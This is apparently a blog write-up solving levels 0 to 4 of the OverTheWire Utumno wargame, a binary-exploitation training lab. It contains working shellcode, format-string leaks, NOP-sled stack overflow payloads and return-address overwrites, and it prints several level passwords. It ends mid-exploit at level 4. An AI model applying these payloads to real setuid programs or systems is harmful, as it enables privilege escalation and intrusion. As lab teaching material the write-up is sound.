[OTW] Write-up for the Utumno Wargame


The Utumno wargame is an online game offered by the OverTheWire community. This wargame is similar to the Behemoth but, slightly harder. You should complete the previous wargames before starting this one.

The challenges can be found in the /utumno/ folder and the passwords for each level can be found in /etc/utumno_pass/utumnoX.

Kick back and relax, it’s gonna be fun !

image-center

Utumno 00 Solution

SSH : ssh utumno0@utumno.labs.overthewire.org -p 2227
Pass : utumno0

Let’s try to execute utumno0

utumno0@utumno:~$ cd /utumno/
utumno0@utumno:/utumno$ ./utumno0
Read me! :P

Hum, weird. Maybe file can help us.

utumno0@utumno:/utumno$ file ./utumno0
./utumno0: executable, regular file, no read permission

Note: Here, GDB will be useless as we don’t have read permission. You need to be creative.

After some research, I decided to use the LD_PRELOAD environment variable. Basically, if your executable is dynamically linked, you can load a library to override (or replace) any functions or symbols preloaded from other libraries. If you don’t know about LD_PRELOAD, you can read my post: Playing with LD_PRELOAD.

In our case, we got an output message saying “Read me! :P” (but, we can’t read it as the executable don’t have read permission). While we don’t really care about the message, it also means that there is some kind of function called to display this message. So, we could code a library to hook this function with LD_PRELOAD and explore the code from here.

However, we don’t really know which function is used to display the message (fprintf(), printf(), puts(), etc.). But it’s not really an issue, we can try each of them, I’ll start with puts(). Why ? Well, puts() is merely primitive version of printf() so, most of the time, if the call to printf() does not use any format string the gcc compiler will optimize printf() with a puts() call.

Note: I created a directory in /tmp to create and compile my library.

#include <stdio.h>
// gcc preload.c -o preload.so -fPIC -shared -ldl -m32
int puts ( const char * str ) {
	printf("Hello from 'puts' !");

	return 0;	
}

Then, we test the code :

utumno0@utumno:/tmp/axc$ LD_PRELOAD="./preload.so" /utumno/utumno0
Hello from 'puts' !

So, it seems that the program is using puts() to print the message. Now, we could use printf() to read data on the stack by employing the same method used by the Format String vulnerability.

#include <stdio.h>

int puts ( const char * str ) {
	printf("%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x\n");

	return 0;
}

The %08x string is interpreted by the printf() as specifiers resulting in reading data from the stack because there are no variables specified. So, for each %08x, printf() will fetch a number from the stack, treat this number as an address, and print out the memory contents pointed by this address as a string. Here is the result :

utumno0@utumno:/tmp/axc$ LD_PRELOAD="./preload.so" /utumno/utumno0
f7fee710.ffffd6e4.f7fcf52c.f7fc3dbc.00000000.ffffd6b8.08048402.080484a5.08048490.00000000

So, why did we do that ? Well, as it’s a wargame, the password is probably somewhere in memory, but we can’t read this executable so, we need to be creative. Here, I see 3 interesting addresses :

  • 08048402
  • 080484a5
  • 08048490

These addresses are not NULL or somewhere in the Kernel address space. They start with 0x0804 which means that the process can read, write and execute things on these memory areas. So, if we are lucky, maybe one of them is pointing on an interesting string. Let’s check that assumption :

#include <stdio.h>

int puts ( const char * str ) {
	printf("%s\n", 0x08048402);
	printf("%s\n", 0x080484a5);
	printf("%s\n", 0x08048490);

	return 0;
}

This code will interpret each addresses as a string pointer and print out the content. Now, we compile and execute.

utumno0@utumno:/tmp/axc$ LD_PRELOAD="./preload.so" /utumno/utumno0
���
Read me! :P
password: [..removed..]

The first one was tough, but we did it !

Utumno 01 Solution

SSH : ssh utumno1@utumno.labs.overthewire.org -p 2227
Pass : aathaeyiew

This one does not have any output when we run it with or without argument so, let’s try to ltrace it.

utumno1@utumno:/utumno$ ltrace ./utumno1 123
__libc_start_main(0x80484a5, 2, 0xffffd744, 0x8048530 <unfinished ...>
opendir("123")                                               = 0
exit(1 <no return ...>
+++ exited (status 1) +++

So, the code open the directory we specify as argument. Let’s create a temporary directory and try again.

utumno1@utumno:/utumno$ltrace ./utumno1 /tmp/ax
__libc_start_main(0x80484a5, 2, 0xffffd764, 0x8048530 <unfinished ...>
opendir("/tmp/ax")                                                   = 0x804a008
readdir(0x804a008)                                                   = 0x804a024
strncmp("sh_", ".", 3)                                               = 69
readdir(0x804a008)                                                   = 0x804a034
strncmp("sh_", "..", 3)                                              = 69
readdir(0x804a008)                                                   = 0
+++ exited (status 0) +++

Now, the executable tries to read a filename starting by “sh_“. Let’s create a file starting with sh_ :

utumno1@utumno:/tmp/ax$ touch sh_AAAAAAAAAAAAAAAA
utumno1@utumno:/tmp/ax$ /utumno/utumno1 /tmp/ax
Segmentation fault

Segmentation fault ! That’s good ! Now, we need to do some dynamic analysis (I’ll skip the useless parts).

utumno1@utumno:/tmp/ax$ gdb -q /utumno/utumno1
Reading symbols from /utumno/utumno1...done.
(gdb) set disassembly-flavor intel
(gdb) disas run
Dump of assembler code for function run:
   0x0804848b <+0>:	push   ebp
   0x0804848c <+1>:	mov    ebp,esp
   0x0804848e <+3>:	sub    esp,0x4
   0x08048491 <+6>:	lea    eax,[ebp-0x4]
   0x08048494 <+9>:	add    eax,0x8
   0x08048497 <+12>:	mov    DWORD PTR [ebp-0x4],eax
   0x0804849a <+15>:	mov    eax,DWORD PTR [ebp-0x4]
   0x0804849d <+18>:	mov    edx,DWORD PTR [ebp+0x8]
   0x080484a0 <+21>:	mov    DWORD PTR [eax],edx
   0x080484a2 <+23>:	nop
   0x080484a3 <+24>:	leave
   0x080484a4 <+25>:	ret
End of assembler dump.
(gdb) break *run+25
Breakpoint 1 at 0x80484a4: file utumno1.c, line 27.
(gdb) run /tmp/ax
Starting program: /utumno/utumno1 /tmp/ax

Breakpoint 1, 0x080484a4 in run (p=0x804a032) at utumno1.c:27
27	utumno1.c: No such file or directory.
(gdb) x/x $esp
0xffffd678:	0x0804a032
(gdb) x/x 0x0804a032
0x804a032:	0x41414141

Basically, I put a breakpoint at the ret instruction of the run function. You can see that the return address starts with 0x41414141. It means that anything placed after sh_ is executed as code. So, we need to create a filename with a shellcode embedded.

We just need to write a shellcode. Here, I choose to create a symbolic link on /bin/sh and call it using a custom shellcode.

global _start

section .text
_start:
xor eax, eax
push eax
push 0x65646f63 ; name of the symlink (code)
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb ; sys_execve
int 0x80

We compile it, create a symlink and extract the shellcode.

utumno1@utumno:/tmp/ax$ nasm -f elf32 shell.asm
utumno1@utumno:/tmp/ax$ ld -m elf_i386 -s -o shell shell.o
utumno1@utumno:/tmp/ax$ objdump -d ./shell.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x63\x6f\x64\x65\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
utumno1@utumno:/tmp/ax$ touch sh_$(python -c "print '\x31\xc0\x50\x68\x63\x6f\x64\x65\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'")
utumno1@utumno:/tmp/ax$ ln -s /bin/sh /tmp/ax/code
utumno1@utumno:/tmp/ax$ /utumno/utumno1 `pwd`
$ whoami
utumno2
$ cat /etc/utumno_pass/utumno2
ceewaceiph

Almost easy !

Utumno 02 Solution

SSH : ssh utumno2@utumno.labs.overthewire.org -p 2227
Pass : ceewaceiph

In this level, the only result we get from the executable is “Aw..”. So, we’ll analyse it with GDB:

utumno2@utumno:/utumno$ gdb -q ./utumno2
Reading symbols from ./utumno2...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x0804844b <+0>:	push   ebp
   0x0804844c <+1>:	mov    ebp,esp
   0x0804844e <+3>:	sub    esp,0xc
   0x08048451 <+6>:	cmp    DWORD PTR [ebp+0x8],0x0 ; check if the number of args is 0
   0x08048455 <+10>:	je     0x804846b <main+32> ; if *ebp+0x8 = 0, continue
   0x08048457 <+12>:	push   0x8048510
   0x0804845c <+17>:	call   0x8048310 <puts@plt>
   0x08048461 <+22>:	add    esp,0x4
   0x08048464 <+25>:	push   0x1
   0x08048466 <+27>:	call   0x8048320 <exit@plt>
   0x0804846b <+32>:	mov    eax,DWORD PTR [ebp+0xc]
   0x0804846e <+35>:	add    eax,0x28
   0x08048471 <+38>:	mov    eax,DWORD PTR [eax]
   0x08048473 <+40>:	push   eax
   0x08048474 <+41>:	lea    eax,[ebp-0xc]
   0x08048477 <+44>:	push   eax
   0x08048478 <+45>:	call   0x8048300 <strcpy@plt>
   0x0804847d <+50>:	add    esp,0x8
   0x08048480 <+53>:	mov    eax,0x0
   0x08048485 <+58>:	leave
   0x08048486 <+59>:	ret
End of assembler dump.

Now, everything makes sense, when we execute the program, it automatically quits with the message Aw... This is due to the fact that the program check if argc is equal to 0 (line main+6). However, even without any arguments, argc will be equal to 1 which corresponds to the program name (here, “/utumno/utumno2”).

To solve this issues we can use execve(). As per the documentation execve() executes the program referred to by pathname. This causes the program that is currently being run by the calling process to be replaced with a new program, with newly initialized stack, heap, and data segments. So, we can redefine argv to NULL, like so:

#include <unistd.h>

void main() {
    char *envp[] = {};

    execve("/utumno/utumno2", NULL, envp);
}

Then, we can use envp to pass arguments to our binary. Why ? Well, if you take a look at the stack of a loaded binary, you’ll have argc (or the arguments counter), argv (list of pointer to arguments) and envp (list of pointers to environment variables).

image-center

So, as we don’t have any arguments, we will play with environment variables. Here, we can do whatever we want, as we are using execve() all the environment variables are cleared. Now, with that assumptions, let’s analyze the second part of the code.

0x0804844b <+0>:	push   ebp
0x0804844c <+1>:	mov    ebp,esp
0x0804844e <+3>:	sub    esp,0xc
0x08048451 <+6>:	cmp    DWORD PTR [ebp+0x8],0x0
0x08048455 <+10>:	je     0x804846b <main+32>
0x08048457 <+12>:	push   0x8048510
0x0804845c <+17>:	call   0x8048310 <puts@plt>
0x08048461 <+22>:	add    esp,0x4
0x08048464 <+25>:	push   0x1
0x08048466 <+27>:	call   0x8048320 <exit@plt>
0x0804846b <+32>:	mov    eax,DWORD PTR [ebp+0xc]; Get the first pointer of envp
0x0804846e <+35>:	add    eax,0x28; Add 40 to get the 10th pointer
0x08048471 <+38>:	mov    eax,DWORD PTR [eax]; Set it as source string for strcpy()
0x08048473 <+40>:	push   eax
0x08048474 <+41>:	lea    eax,[ebp-0xc]; Set ESP as destination for strcpy()
0x08048477 <+44>:	push   eax;
0x08048478 <+45>:	call   0x8048300 <strcpy@plt>; Call strcpy()
0x0804847d <+50>:	add    esp,0x8
0x08048480 <+53>:	mov    eax,0x0
0x08048485 <+58>:	leave
0x08048486 <+59>:	ret

Now, we need to create an array with 11 values knowing that the 10th value will probably overflow strcpy() and the last value will be NULL (check the picture I showed you earlier).

#include <unistd.h>

void main() {
    char *envp[] = {"", "", "", "", "", "", "", "", "",
        "AAAABBBBCCCCDDDDEEEEFFFFAAAA",
        NULL};
    execve("/utumno/utumno2", NULL, envp);
}

This code segfault but strace show that we took control of EIP.

utumno2@utumno:/tmp/ax_test$ gcc -m32 -static execve.c -o execve
utumno2@utumno:/tmp/ax_test$ ./execve
Segmentation fault

utumno2@utumno:/tmp/ax_test$ strace ./execve
execve("./execve", ["./execve"], [/* 21 vars */]) = 0
strace: [ Process PID=1008 runs in 32 bit mode. ]
brk(NULL)                               = 0x56558000

... [removed] ...

--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x45454545} ---
+++ killed by SIGSEGV (core dumped) +++

See the SIGSEGV si_addr address ? We need 24 bytes to overwrite the EIP ! However, we don’t have enough space for a shellcode but we could use another environment variable to store it and jump to the shellcode !

#include <unistd.h>

void main() {
    char *envp[] = {"", "", "", "", "", "", "", "", "",
        "AAAABBBBCCCCDDDDEEEE",
        NULL};
    execve("/utumno/utumno2", NULL, envp);
}

Now, let’s write a quick /bin/sh shellcode:

global _start

section .text
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb
int 0x80

Assemble it and extract the shellcode :

utumno2@utumno:/tmp/ax$ nasm -f elf32 shell.a
utumno2@utumno:/tmp/ax$ ld -m elf_i386 -s -o shell shell.o

objdump -d ./shell.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Then, we modify our code :

#include <unistd.h>

void main() {
    char *envp[] = {"", "", "", "", "", "", "", "", 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
        "AAAABBBBCCCCDDDDEEEE",
        NULL};
    execve("/utumno/utumno2", NULL, envp);
}

Finally, we try to find a valid return address :

utumno2@utumno:/tmp/ax$ gdb -q ./code
Reading symbols from ./code...(no debugging symbols found)...done.
(gdb) run
Starting program: /tmp/ax/code
process 32547 is executing new program: /utumno/utumno2

Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()

(gdb) x/200x $esp
0xffffde00:	0x00000000	0xffffde94	0xffffde98	0x00000000
0xffffde10:	0x00000000	0x00000000	0xf7fc5000	0xf7ffdc0c
0xffffde20:	0xf7ffd000	0x00000000	0x00000000	0xf7fc5000
0xffffde30:	0x00000000	0xe69060ed	0xdc68ecfd	0x00000000
0xffffde40:	0x00000000	0x00000000	0x00000000	0x08048350
0xffffde50:	0x00000000	0xf7fee710	0xf7e2a199	0xf7ffd000
0xffffde60:	0x00000000	0x08048350	0x00000000	0x08048371
0xffffde70:	0x0804844b	0x00000000	0xffffde94	0x08048490
0xffffde80:	0x080484f0	0xf7fe9070	0xffffde8c	0xf7ffd920
0xffffde90:	0x00000000	0x00000000	0xffffdf99	0xffffdf9a
0xffffdea0:	0xffffdf9b	0xffffdf9c	0xffffdf9d	0xffffdf9e
0xffffdeb0:	0xffffdf9f	0xffffdfa0	0xffffdfa1	0xffffdfd3
0xffffdec0:	0x00000000	0x00000020	0xf7fd7c90	0x00000021
0xffffded0:	0xf7fd7000	0x00000010	0x178bfbff	0x00000006
0xffffdee0:	0x00001000	0x00000011	0x00000064	0x00000003
0xffffdef0:	0x08048034	0x00000004	0x00000020	0x00000005
0xffffdf00:	0x00000008	0x00000007	0xf7fd9000	0x00000008
0xffffdf10:	0x00000000	0x00000009	0x08048350	0x0000000b
0xffffdf20:	0x00003e82	0x0000000c	0x00003e82	0x0000000d
0xffffdf30:	0x00003e82	0x0000000e	0x00003e82	0x00000017
0xffffdf40:	0x00000001	0x00000019	0xffffdf7b	0x0000001a
0xffffdf50:	0x00000000	0x0000001f	0xffffdfe8	0x0000000f
0xffffdf60:	0xffffdf8b	0x00000000	0x00000000	0x00000000
0xffffdf70:	0x00000000	0x00000000	0x37000000	0x30c66ef5
0xffffdf80:	0x70890c96	0x9ae995f3	0x69640792	0x00363836
0xffffdf90:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffdfa0:	0x90909000	0x90909090	0x90909090	0x90909090
0xffffdfb0:	0x90909090	0x90909090	0x50c03190	0x732f2f68
0xffffdfc0:	0x622f6868	0xe3896e69	0x53e28950	0x0bb0e189
0xffffdfd0:	0x410080cd	0x42414141	0x43424242	0x44434343
0xffffdfe0:	0x45444444	0x00454545	0x7574752f	0x2f6f6e6d
0xffffdff0:	0x6d757475	0x00326f6e	0x00000000	0x00000000
0xffffe000:	Cannot access memory at address 0xffffe000

Here I choose 0xffffdfb0 as it point on my NOP sled. Then we recompile the code with the proper return address :

#include <unistd.h>

void main() {
    char *envp[] = {"", "", "", "", "", "", "", "", 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
        "AAAABBBBCCCCDDDD\xb0\xdf\xff\xff",
        NULL};
    execve("/utumno/utumno2", NULL, envp);
}
utumno2@utumno:/tmp/ax$ gcc -m32 -static code.c -o code
utumno2@utumno:/tmp/ax$ ./code
$ whoami
utumno3
$ cat /etc/utumno_pass/utumno3
zuudafiine
$

Done.

Utumno 03 Solution

SSH : ssh utumno3@utumno.labs.overthewire.org -p 2227
Pass : zuudafiine

This one was a tough one. Here, your input will be used to overwrite the return address. First let’s check the code :

0x080483eb <+0>:	push   ebp
0x080483ec <+1>:	mov    ebp,esp
0x080483ee <+3>:	push   ebx
0x080483ef <+4>:	sub    esp,0x38
0x080483f2 <+7>:	mov    DWORD PTR [ebp-0xc],0x0
0x080483f9 <+14>:	mov    eax,DWORD PTR [ebp-0xc]
0x080483fc <+17>:	mov    DWORD PTR [ebp-0x8],eax
0x080483ff <+20>:	jmp    0x804844d <main+98>
0x08048401 <+22>:	mov    eax,DWORD PTR [ebp-0xc]
0x08048404 <+25>:	mov    ecx,eax 
0x08048406 <+27>:	lea    edx,[ebp-0x3c]
0x08048409 <+30>:	mov    eax,DWORD PTR [ebp-0x8] ;
0x0804840c <+33>:	add    eax,edx 
0x0804840e <+35>:	mov    BYTE PTR [eax],cl 
0x08048410 <+37>:	lea    edx,[ebp-0x3c] 
0x08048413 <+40>:	mov    eax,DWORD PTR [ebp-0x8]
0x08048416 <+43>:	add    eax,edx
0x08048418 <+45>:	movzx  ecx,BYTE PTR [eax] 
0x0804841b <+48>:	mov    eax,DWORD PTR [ebp-0x8] 
0x0804841e <+51>:	mov    edx,eax 
0x08048420 <+53>:	mov    eax,edx 
0x08048422 <+55>:	add    eax,eax 
0x08048424 <+57>:	add    eax,edx 
0x08048426 <+59>:	xor    ecx,eax 
0x08048428 <+61>:	lea    edx,[ebp-0x3c] 
0x0804842b <+64>:	mov    eax,DWORD PTR [ebp-0x8] 
0x0804842e <+67>:	add    eax,edx 
0x08048430 <+69>:	mov    BYTE PTR [eax], cl 
0x08048432 <+71>:	lea    edx,[ebp-0x3c] 
0x08048435 <+74>:	mov    eax,DWORD PTR [ebp-0x8] 
0x08048438 <+77>:	add    eax,edx 
0x0804843a <+79>:	movzx  eax, BYTE PTR [eax] 
0x0804843d <+82>:	movsx  ebx,al 
0x08048440 <+85>:	call   0x80482c0 <getchar@plt> 
0x08048445 <+90>:	mov    BYTE PTR [ebp+ebx*1-0x24],al 
0x08048449 <+94>:	add    DWORD PTR [ebp-0x8],0x1 
0x0804844d <+98>:	call   0x80482c0 <getchar@plt>
0x08048452 <+103>:	mov    DWORD PTR [ebp-0xc],eax
0x08048455 <+106>:	cmp    DWORD PTR [ebp-0xc],0xffffffff
0x08048459 <+110>:	je     0x8048461 <main+118>
0x0804845b <+112>:	cmp    DWORD PTR [ebp-0x8],0x17
0x0804845f <+116>:	jle    0x8048401 <main+22>
0x08048461 <+118>:	mov    eax,0x0
0x08048466 <+123>:	add    esp,0x38
0x08048469 <+126>:	pop    ebx
0x0804846a <+127>:	pop    ebp
0x0804846b <+128>:	ret

If you take a look at the code we have two call to getchar() (main+85 and main+98). The first call will be used to specify where you want to write (the offset) and the second will be what you want to write (the return address). We’ll have to do that one byte at a time. Based on that assumption, our payload to overwrite the return address will be 8 bytes long (4 locations + 4 bytes to write).

The important part is at main+90 where you can see mov BYTE PTR [ebp+ebx*1-0x24], al. This line will compute the address where your return address will be overwrote. First, let’s get EBP and the location of the return address.

$ gdb -q ./utumno3
Reading symbols from ./utumno3...done.
(gdb) set disassembly-flavor intel
(gdb) break main
Breakpoint 1 at 0x80483f2: file utumno3.c, line 26.
(gdb) run
Starting program: /utumno/utumno3

Breakpoint 1, main (argc=1, argv=0xffffd724) at utumno3.c:26
26	utumno3.c: No such file or directory.
(gdb) x/8x $ebp
0xffffd688:	0x00000000	0xf7e2a286	0x00000001	0xffffd724
0xffffd698:	0xffffd72c	0x00000000	0x00000000	0x00000000
(gdb)

Here, EBP, the base stack pointer is 0xffffd688 and the return address is 0xf7e2a286. So if we want to overwrite the last byte of the address (0x86), we need to write at 0xffffd68c. You can check that in GDB :

(gdb) x/bx 0xffffd68c
0xffffd68c:	0x86

So now, it gets a bit more complex. I’ll comment the code, but only for the first iteration of the loop.

0x08048401 <+22>:	mov    eax,DWORD PTR [ebp-0xc] ; EAX = first char.
0x08048404 <+25>:	mov    ecx,eax ; ECX = first char.
0x08048406 <+27>:	lea    edx,[ebp-0x3c] ; load a ptr to a stack location
0x08048409 <+30>:	mov    eax,DWORD PTR [ebp-0x8] ; EAX = 0 (first loop iteration)
0x0804840c <+33>:	add    eax,edx ; ptr + 0
0x0804840e <+35>:	mov    BYTE PTR [eax],cl ; move the first char. to the stack
0x08048410 <+37>:	lea    edx,[ebp-0x3c] ; restore the ptr original value
0x08048413 <+40>:	mov    eax,DWORD PTR [ebp-0x8] ; EAX = 0
0x08048416 <+43>:	add    eax,edx ; ptr + 0
0x08048418 <+45>:	movzx  ecx,BYTE PTR [eax] ; move the first char in ECX
0x0804841b <+48>:	mov    eax,DWORD PTR [ebp-0x8] ; EAX = 0
0x0804841e <+51>:	mov    edx,eax ; EDX = 0
0x08048420 <+53>:	mov    eax,edx ; EAX = 0
0x08048422 <+55>:	add    eax,eax ; EAX = 0
0x08048424 <+57>:	add    eax,edx ; EAX = 0
0x08048426 <+59>:	xor    ecx,eax ; ECX = 0
0x08048428 <+61>:	lea    edx,[ebp-0x3c] ; restore the ptr original value
0x0804842b <+64>:	mov    eax,DWORD PTR [ebp-0x8] ; EAX = 0
0x0804842e <+67>:	add    eax,edx ; EAX = ptr + 0
0x08048430 <+69>:	mov    BYTE PTR [eax],cl ; move the first char in ECX
0x08048432 <+71>:	lea    edx,[ebp-0x3c] ; restore the ptr original value
0x08048435 <+74>:	mov    eax,DWORD PTR [ebp-0x8] ; EAX = 0
0x08048438 <+77>:	add    eax,edx ; EAX = ptr + 0
0x0804843a <+79>:	movzx  eax,BYTE PTR [eax] ; move the first char in EAX
0x0804843d <+82>:	movsx  ebx,al ; move the first char in EBX
0x08048440 <+85>:	call   0x80482c0 <getchar@plt> ; get the second char
0x08048445 <+90>:	mov    BYTE PTR [ebp+ebx*1-0x24],al ; move the second char @ebp+ebx*1-0x24
0x08048449 <+94>:	add    DWORD PTR [ebp-0x8],0x1 ; increment the loop counter by 1

As you can see, at main+90, the address where you want to write the second char will depend on EBX value (the first char) but also, the loop counter. The first iteration is quite easy as the result of the XOR operation will be 0. Let’s compute the address and write the first part of the payload.

EBP = 0xffffd688
EBX = 0x00000041 (just a example with 'A')
Target = 0xffffd68c (first part of the ret address)
EBP + EBX = 0xFFFFD6C9
0xFFFFD6C9 - 0x24 = 0xFFFFD6A5

Ok, the result is not good. We need to obtain 0xffffd68c not ``0xffffd6a5`. After a few try I found the right value for our first byte: 0x28.

EBP = 0xffffd688
EBX = 0x00000028 (just a example with 'A')
Target = 0xffffd68c (first part of the ret address)
EBP + EBX = 0xFFFFD6B0
0xFFFFD6C9 - 0x24 = 0xFFFFD68C

Let’s do that in GDB :

(gdb) break *main+94
Breakpoint 2 at 0x8048449: file utumno3.c, line 30.
(gdb) run <<< $(python -c "print '\x28\x41'")

Starting program: /utumno/utumno3 <<< $(python -c "print '\x28\x41'")

Breakpoint 2, main (argc=1, argv=0xffffd724) at utumno3.c:30
30	in utumno3.c
(gdb) x/8wx $ebp
0xffffd688:	0x00000000	0xf7e2a241	0x00000001	0xffffd724
0xffffd698:	0xffffd72c	0x00000000	0x00000000	0x00000000

Perfect we overwrote the last byte of the return address with 0x41. As the process will be the same for the other bytes, I won’t decribe it. However, note that at the first iteration the first char is xored with 0, at the second iteration the third char will be xored with 3, at the third iteration, the fifth char will be xored with 6 and finally, the seventh char will be xored with 9.

Here is the final payload :

(gdb) run <<< $(python -c "print '\x28\x41\x2a\x42\x2c\x43\x22\x44'")
Starting program: /utumno/utumno3 <<< $(python -c "print '\x28\x41\x2a\x42\x2c\x43\x22\x44'")

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
=> 0x44434241:	Cannot access memory at address 0x44434241

The last step is to create an environement variable containing our shellcode and find a proper return address. Note that this shellcode read the password at /etc/utumno_pass/utumno4, it does not give a /bin/sh.

utumno3@melinda:/tmp/uh3$export EGG=`python -c 'print "\x90"*500 + "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x61\x78\x63\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80"'`
utumno3@melinda:/tmp/uh3$ ln -s /etc/utumno_pass/utumno4 /tmp/axc
$ gdb -q ./utumno3
Reading symbols from ./utumno3...done.
(gdb) set disassembly-flavor intel
(gdb) break *main
Breakpoint 1 at 0x80483eb: file utumno3.c, line 20.
(gdb) run
Starting program: /utumno/utumno3

Breakpoint 1, main (argc=1, argv=0xffffd504) at utumno3.c:20
20	utumno3.c: No such file or directory.
(gdb) x/1200x $esp-1200
0xffffcfbc:	0x00000003	0x00554e47	0x9153bb84	0x00000000
...
0xffffdc1c:	0x5f485353	0x4e4e4f43	0x49544345	0x313d4e4f
0xffffdc2c:	0x312e3430	0x312e3336	0x382e3936	0x34352036
0xffffdc3c:	0x20393733	0x2e323931	0x2e383631	0x2e313031
0xffffdc4c:	0x32203039	0x47450032	0x90903d47	0x90909090
0xffffdc5c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdc6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdc7c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdc8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdc9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdcac:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdcbc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdccc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdcdc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdcec:	0x90909090	0x90909090	0x90909090	0x90909090

Here I used 0xffffdc9c as return address. Now, we can try that in our shell :

$ python -c "print '\x28\x9c\x2a\xdc\x2c\xff\x22\xff'" | ./utumno3
oogieleoga

If your math is right, you get the password.

Utumno 04 Solution

SSH : ssh utumno4@utumno.labs.overthewire.org -p 2227
Pass : oogieleoga

Here, if you don’t pass an argument you get a segfault. Let’s analyse this executable in GDB.

0x0804844b <+0>:	push   ebp
0x0804844c <+1>:	mov    ebp,esp
0x0804844e <+3>:	sub    esp,0xff04
0x08048454 <+9>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048457 <+12>:	add    eax,0x4
0x0804845a <+15>:	mov    eax,DWORD PTR [eax] EAX = ptr to our input string
0x0804845c <+17>:	push   eax ; push the ptr on the stack
0x0804845d <+18>:	call   0x8048330 <atoi@plt> ; convert it to integer
0x08048462 <+23>:	add    esp,0x4
0x08048465 <+26>:	mov    DWORD PTR [ebp-0x4],eax ; store the result of atoi()
0x08048468 <+29>:	mov    eax,DWORD PTR [ebp-0x4] ; move the result in eax
0x0804846b <+32>:	mov    WORD PTR [ebp-0x6],ax ; move AX on the stack
0x0804846f <+36>:	cmp    WORD PTR [ebp-0x6],0x3f; compare AX to 63
0x08048474 <+41>:	jbe    0x804847d <main+50> ; if below or equal to 63 continue
0x08048476 <+43>:	push   0x1
0x08048478 <+45>:	call   0x8048310 <exit@plt>
0x0804847d <+50>:	mov    edx,DWORD PTR [ebp-0x4]
0x08048480 <+53>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048483 <+56>:	add    eax,0x8
0x08048486 <+59>:	mov    eax,DWORD PTR [eax] ; ptr to the second argument
0x08048488 <+61>:	push   edx ; number of bytes to copy (first arg)
0x08048489 <+62>:	push   eax ; source of data to be copied (second arg)
0x0804848a <+63>:	lea    eax,[ebp-0xff02]
0x08048490 <+69>:	push   eax ; destination where the data is to be copied
0x08048491 <+70>:	call   0x8048300 <memcpy@plt>
0x08048496 <+75>:	add    esp,0xc
0x08048499 <+78>:	mov    eax,0x0
0x0804849e <+83>:	leave
0x0804849f <+84>:	ret

As you can see, we need to pass to arguments. The first one is the size of our buffer and the second one is the buffer itself. I used 65536 as it is the max value of an unsigned half-word. By doing that we make sure that AX will be zero (AX is the lower half of EAX).

After a few try, you should be able to get control over the return address:

utumno4@utumno:/utumno$ gdb -q ./utumno4
Reading symbols from ./utumno4...done.
(gdb) set disassembly-flavor intel
(gdb) run 65536 $(python -c "print 'A' * 65536")
Starting program: /utumno/utumno4 65536 $(python -c "print 'A' * 65536")

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run 65536 $(python -c "print 'A' * 65286 + 'BBBB' + 'C' * 246")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno4 65536 $(python -c "print 'A' * 65286 + 'BBBB' + 'C' * 246")

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Now, we load a shellcode and find a proper return address on the NOP Sled:

(gdb) run 65536 $(python -c "print '\x90' * 65265 + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + 'BBBB' + '\x90' * 246")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno4 65536 $(python -c "print '\x90' * 65265 + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + 'BBBB' + '\x90' * 246")

Program received signal SIGSEGV, Segmentation fault.
